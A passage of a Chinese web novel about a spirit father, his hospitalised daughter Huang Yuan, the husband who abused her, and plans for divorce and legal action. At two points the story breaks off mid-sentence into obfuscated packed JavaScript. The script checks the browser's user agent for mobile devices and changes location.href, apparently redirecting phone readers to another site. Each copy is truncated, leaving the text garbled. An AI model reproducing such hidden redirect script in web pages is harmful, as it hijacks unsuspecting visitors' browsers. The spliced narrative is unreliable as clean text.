当务之急是下楼交钱做手术,等媛媛病情稳定下来,他在找这一家子人好好算账。 黄书拿刀发疯把一群人吓着了,他常年做屠宰工作,身体强壮,力壮如牛,一巴掌就能把何辉脸扇成猪头。 要是动起刀来,他们怕是逃不过一点,只能低头装孙子。 黄书出去缴费后,主治医师也回到办公室。 何辉和老妇人追到办公室:“医生,就没有别的办法把孩子留下来吗,只能打掉吗?” “孩子打掉后她又不是不能怀孕了,好好养两年还能要,我看你俩年纪也不大吧。” 主治医师回老妇人时,眼神却盯着何辉。 何辉低下头,欲言又止。 他看了一圈,见办公室没有其他人,他才压低声音说:“医生,我有弱精症,这可能是我命里唯一的儿子。” “有弱精症就去治,实在不行可以去做试管,我说了很多遍,她不打掉这个孩子,很大概率一尸两命,打掉孩子还能有一线生机。” “医生,你也说是大概率了,我儿媳妇她是有大仙儿保着的人,肯定不会有事的。” 主治医师:“……” “你要是在这里跟我说封建迷信,我就报警告你们扰乱公共秩序了。” 她言辞狠厉,甚至搬出警察,但老妇人不为所动,甚至开始胡搅蛮缠:“你叫刘书雪是吧,我们家的事情你管那么多干什么,我要去你们医务处投诉你。” 刘书雪:“……” “那你快去投诉我吧。”这破工作她已经递交辞呈了,她还怕这个? 要不是主任让她再待一个月,等招进来新人,她昨天就收拾东西走人了。 老妇人也没想到刘书雪会不怕投诉,骂骂咧咧拉着儿子投诉去了。 他们刚走,张姐就拿着病历从外面进来:“刚才那两个怎么回事儿?老远就听见他们在骂你。” “让我给他老婆保胎呢。”刘书雪翻了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128124|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白眼,“张姐,你快来帮我看看,这个病历该怎么下诊断。” “我看看。”张姐把病历放下,看着刘书雪电脑:“查体:神志不清……四肢多见陈旧性疤痕……我天,你写了这么多?她有先天性心脏病,还怀孕了?” “张姐,我怀疑她遭受了家暴……不对,应该说是虐待。”刘书雪看着屏幕上自己写的病历,“我想帮她。” “小姑娘是挺惨的,我等下把那个诊断再发你一份,你按照要求填一下。” “好。” 刘书雪照着诊断改完病历保存,黄书缴完费上来,来到办公室:“医生。” “你过来,把门关上。” “好。” 黄书将门关上,来到刘书雪身边,刘书雪把手术同意书打印出来放到他面前:“看一下把这个签了。” “好。”黄书扫过,确认过风险后把字签下:“签好了,没有别的需要签字的话,我就先出去了。” “等一下,我有点事情想跟你说。”刘书雪说完,等张姐,张姐也不磨蹭,站起来出去。 她才继续说道:“我怀疑你女儿遭受了虐待,她四肢有很多淤青和疤痕,有一些还是过去的,你看这是她的检查报告,各项指标也不达标,比正常区间低很多,给她做心电图的时候,我看她身上还有很多像烟头烫出来的疤……” “我知道,医生,等我女儿好起来,我再找他们算账。”黄书捏紧拳头,压抑着不让自己发作。 “如果需要诊断证明什么的做证据,你尽管来找我。” 她会在自己能力最大范围内,帮助这位女性。 “谢谢你,医生。” 医办室的门被张姐猛地推开:“书雪,快过来,黄媛出事了。” “怎么回事?” 刘书雪摘下墙上挂着的听诊器快步来到病房,黄媛的监护仪滴滴叫,她扫过一旁妇人心虚的脸,出去拿药,迎面撞上张姐。 “张姐,辛苦你当我助手了。” 张姐把手里的药塞给刘书雪:“没事,救人要紧,我先去手术室,你拿上病历就过来。” 护士进来把周围人赶出去,为黄媛做术前准备,结束后指挥一旁的人:“家属搭把手,把病人送去手术室。” 刘书雪和张姐进了手术室。 黄书也没想到事情会发展这么快,他在手术室门口的长椅上坐下,内心焦灼。 偶然看到何辉在那边玩手机,他胸中顿时又升起一阵怒气。 他的女儿在里面,因为这个渣滓受苦,这个混蛋竟然在这里悠哉悠哉打游戏? 他冲过去将人像抓小鸡仔一样抓起来:“我就下去缴个费,你是怎么看护的?” “爸……” 透过何辉惊恐的眼神,黄书看到事情的真相。 这个老毒妇,竟然趁着没有人在把药物滴速开到了最快。 他们这一家子,是巴不得他女儿赶快去死呢。 “干什么呢!” “警察同志,就是他,就是他打的我儿子。”老妇人看见警察过来,起身给警察指认,她捧着何辉肿胀发红的脸给警察看,“警察同志,你看看他把我儿子打成什么样子了。” 警察出示证件:“阿姨,请您将事情的全部经过详细的讲一下。” 老妇人添油加醋说了一顿,背过身在警察看不到的地方狠狠剜了黄书一眼。 黄书有口难辨,讲完事情经过后,警察见有出入,决定把几个人都带去警局好好调查。 “警察同志,我女儿还在里面做手术,需要我签字,可以等她手术出来再带我走吗?” 见黄书态度诚恳,两个警察商量了一下,将何辉和他母亲先带走,留下一个人在这里等手术结束。 何辉和他母亲一走,他那边的亲戚也就跟着去或是散了。 两个小时后,黄媛被推了出来。 黄书迎上去,看到女儿还在睡着,但状态比刚才好太多,放下心:“医生,谢谢你们。” “不用谢,手术很顺利。” “医生,可以麻烦你帮我照看一下我女儿吗,我需要去一趟警察局。” 刘书雪看着一旁等候多时的警察,点点头:“好。” 见她答应,黄书才放下心,离开医院的时候,又缴了一笔费用。 做完笔录后天就黑了,何辉和他母亲已经被人保释出去。 “没有人来保释你吗?”警察看就剩他一个人,问了一嘴,“朋友也行。” 黄书想到那个卖鱼老板,刚准备打他电话把他叫过来,忽然看见手机通讯录一串电话。 他犹豫了一下,拨通那个电话。 电话响了一声就被接通,那头传来一道女声:“喂?” 25.第 25 章 从警察局出来,夜幕已深。 黄书边走边和身边年轻靓丽的女子聊天:“青黛姐,还好有你在。” 青黛上下打量他这副粗犷模样:“你小子,一别几年,竟然把自己打扮成这副样子,我刚才差点没认出来,上次见你的时候你还不是这个样子吧。” “我现在是卖肉的嘛,打扮成这个样子符合形象。” “你这是刻板印象。”青黛说,“行了,我听警察说你打人,你小子行啊,以前在山头上你都是被人追着打的份儿,今天倒是支楞起来了,说说怎么个事儿?” “青黛姐。”黄书叹口气,“我闺女让人欺负了。” “哪个活不起的敢欺负我侄女儿?” “何辉。” 青黛在脑子里搜索出这一号人物:“侄女婿?” “嗯。”黄书咬牙,“他们结婚这两年,我很少去打扰他们,媛媛偶尔给我发消息,也说自己过得很好,我全信了。 但是那个混蛋骗我,媛媛嫁过去之后一直被他虐打,还被威胁不许向我告状。 这次媛媛被他打的心脏病犯了进医院抢救,我知道后实在是没有忍住就扇了他一巴掌,他妈报警抓我,我就进来了。 姐,你不知道,要不是我去的及时,媛媛可能就没命了。” 要不是遇到那个奇怪的女人,得了她一颗丹药,说不定媛媛都撑不到进手术室。 黄书越想越崩溃,他从小放在手心当眼珠子疼的闺女,嫁给何辉那个混蛋后竟然受了这么多的委屈。 他这个当父亲的,竟然一点都没发现。 青黛拍拍他的肩膀,安慰他:“走吧,我陪你去医院看看媛媛。” 两人打车来到医院,乘坐电梯上楼。 夜里的医院不再像白天那样忙碌,走廊透着一股清冷。 青黛跟着黄书来到病房门前,和刚查完房的刘书雪打了个照面,刘书雪看见青黛有些惊讶:“青黛大师?你们认识?” 青黛点点头:“嗯,这是我弟弟。” 看着容貌相差得有三十岁的两人。 刘书雪:“???” 刘书雪:“!!!” 这世界上有这么多妖精呢? “医生,我女儿怎么样了?” “已经脱离了生命危险,我看她恢复的还挺不错的。” 妖精的恢复能力果然比人类强啊,换作普通人类,现在还在观察随时准备用药呢。 刘书雪心想,但没说。 “谢谢您。”黄书道完谢,就没多聊,进病房陪着黄媛去了。 青黛倒是和刘书雪简单聊了几句,还从刘书雪那里搜刮来一袋面包,她拿着面包回到病房,坐在病床另一侧:“吃点东西吧。” “嗯。”黄书确实饿了,撕开面包咬了一大口。 青黛撩起被角,看到黄媛身体上的青紫伤痕,将被子放下:“接下来你准备怎么办?” “在人类的世界,只能按照人类的方法办。”黄书将嘴里的面包咽下,“明天一早我就带着证据去报警,把何辉抓起来,姐,到时候估计得请你帮我照看一下媛媛。” 看他有点噎,青黛变出一瓶水:“这样就行了?” “不然呢?”黄书一连喝了几口水,“我也想杀了他们为我闺女报仇,但人类的法律根本不允许。” 从捡到这个孩子,并决定收养她开始,他就中断修行,进入到人类生活中,学习人类知识,办理人类户口,打工换取人类的货币将女儿养大。 这么多年的耳濡目染,他早已经顺应人类的规则了。 “现实里不行,别的地方总行吧。”青黛从口袋里掏出一个透明瓶子,放在被子上:“这个可以帮到你。” 黄书将那个透明瓶子拿起来,在青黛的注视中打开,里面盛放的白雾一样的物质从瓶口钻出来,落到他的掌心。 他运起法力,白雾随着法力找到突破口钻入他的体内,与他身体融合。 “去睡吧,我在这里守着。” “好。” 隔壁病床是空的,黄书躺上去,没有多久,就进入梦乡之中。 他穿透梦与梦之间的壁垒,来到一个昏暗的梦境。 这里下着淅淅沥沥的小雨,偶尔还有几道闪雷,他能感觉到梦境主人的痛苦和恐惧。 眼前的梦因子逐渐凝结,缔造出一个破碎的场景,以及两道身影。 黄书认出地上那个头发蓬乱,满背伤痕的女人。 是他的宝贝闺女黄媛。 另一个举着扫把即将朝黄媛落下的人,正是伤害她女儿的混蛋何辉。 他冲上前,将扫把拦住。 抱头躲避不敢还手的黄媛发觉疼痛没有袭来,抬头看向挡在自己身前的人:“爸!” 黄书一脚将眼前的何辉踹倒在地上,转身过来搀扶黄媛。 他刚将女儿搀扶起来,梦境就破碎消失。 于此同时,黄媛从梦中醒来。 她警惕着坐起来,用惊恐的眼神盯着青黛。 “媛媛,别怕,我是你姑姑。” 黄媛想起眼前的人是谁:“青黛姑姑?” “是我。” 青黛靠过来,将她抱在怀中:“媛媛别怕,姑姑和你爸都在这儿呢,没人敢来欺负你。” “姑姑……” 黄媛窝在青黛的怀里尽情的哭诉,将这些年被暴力憋回去的眼泪全部释放出来。 不知道哭了多久,她才抹掉眼泪:“姑姑,何辉他打我,我要跟他离婚。” “离,姑姑支持你。”青黛安抚住黄媛,让她躺下:“你身上还有伤口,别乱动。” “姑姑,你可以给我拍几张照片吗?”黄媛躺下后说,“我要把证据全部保留下来,告他。” “好。” 青黛拍了几张照片,留存证据。 “姑姑,我好饿,我现在可以吃东西吗?”黄媛躺了一会儿,问道。 “不可以,你刚做完手术,再忍一下,等能吃了,想吃什么姑姑都给你做。” “好。”黄媛歪着脑袋,看着隔壁床上熟睡的男人。 好久不见,她还是能从这个背影认出来,这是她的父亲黄书。 明明取了个柔弱书生的名字,却生着宽厚的臂膀,将她从一个小村落托举到这个发达的大城市。 直到她嫁人。 离开父亲遮风挡雨的臂膀后,她遭遇了暴风雨。 在永远弥漫着酒精味道的房间,无数个痛醒的夜晚,她都渴望着逃脱,回到父亲身边,回到温暖的家中。 因为刚刚动了一下,肚子上的刀口被扯到开始发痛,黄媛注意到,问:“姑姑,我的孩子没了吗?” “没事的,你想要孩子的话,以后还是会有的。” 黄媛摇摇头:“不要了。” 一朝被蛇咬,十年怕井绳。 她在婚姻上栽了这么大个跟头,差点要了她一条命,她根本不想,也没有勇气再踏入新的婚姻。 接下来的人生,她只想好好生活,陪在父亲身边,为他养老送终。 青黛不再说话,摸摸黄媛的头,施法术让她又陷入沉睡。 一早,青黛就问白起要了几个律师的联系方式,推荐给黄书,还给黄书转了一笔钱。 又跑去买了一部手机,办了新的电话卡给黄媛使用。 忙前忙后跑了一天,傍晚才接到凛冬电话:“你今天怎么没有来堂口,你现在在哪里?” 青黛:“……” “我消失一天了您老人家才知道找我吗?” 天都快黑了。 这是下班了又想起来旷工的员工了。 她先吐槽完了一下凛冬,才问:“我在医院,有什么事吗?” “你生病了?” “没有,来看个亲戚。”青黛没细说,“找我有什么事?” “没有,怕你出事而已。”凛冬还是一股淡感,“我带梦妖出差去一趟首都,你看着点海因别让他跑了。” “行。” 挂了电话,青黛把医院定位发给海因:【过来帮忙。】 海因秒回:【好。】 海因一过来,青黛就把跑路的活儿都交给他去干,让他去老手续,自己则是坐在病房嗑瓜子看离婚官司视频。 看完几个案件,了解到夫妻财产问题后。 青黛问黄媛:“媛媛,你们有贷款吗?” “有。”想起那些不美好的回忆,黄媛低下头:“他逼我签字贷款,我知道的大概有两百万。” “多少?”青黛还以为自己听错了,“两百万?” “嗯,他开公司的嘛,贷款什么的都是用的我的信息。” 想想黄媛心里就气得发疼。 “好好好。”青黛眼中闪过一丝狠厉,“他这是给你下了个套。” 早在一开始,她和黄书就不同意两人的感情。 妖精感知能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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报备完,他盯着手机屏幕看了一会儿,没看到有回信。 张雯已经好几天没有给他发消息了。 他有点担心,想跑去看看,跟凛冬提过却不被允许,只好在这里待着。 他打开炒股软件看了会儿股票,想转移自己的注意力,但耳边乱乱的心跳声吵的他无法专注。 “你的心脏是生病了吗?” “嗯。”黄媛正喝着微烫的小米粥,闻言回应道:“我是先天性的,不过我从来没有发作过,也就前不久才发作一次。” 海因不说还好,说了黄媛才察觉到不对。 她从小没吃过药,在学校还做过很多剧烈运动。 按理说她应该早就发现的,毕竟她心脏病还挺严重的,可一直拖到在学校体检才发现。 何辉她妈封建迷信,总说她背后有大仙儿保着,难不成真有? 而且她老家那边,好像真的有五仙的传说。 但是她还是有点不信,她就是一个普通孩子,如果真的要按算命先生说的话,她的命还不是很好的那种,容易早逝。 她想不明白,准备等青黛回来了问问。 过了一会儿,病房门响了,她打起精神朝门口,期待的人却没有出现。 令人讨厌的何辉抱着一束玫瑰花进来,他看到海因的时候,脸上的笑容僵硬住。 “你来干什么?” 黄媛看到何辉就来气,要不是身体不允许,她真想把输液的架子摘下来将何辉揍一顿。 “媛媛,我来看你,对不起公司太忙了我今天没办法过来,之前我应酬喝多了没控制住,我保证,我这一次一定戒酒好不好,你跟爸说别离婚。” 何辉想靠近黄媛,却被海因拦住:“离她远点。” “我来找我媳妇儿跟你有什么关系,你谁啊?”何辉耷拉着脸骂,“黄媛,这个人是谁?” “是谁和你有关系吗?”黄媛冷笑道,“我应该说你没脑子还是应该说你太自信,你以为我真的爱你吗?” 之前的原谅,不过是在那种环境下,保全自己的唯一计策罢了。 何辉竟然真的蠢到以为虚伪的道歉和不可能做到承诺就能哄好她。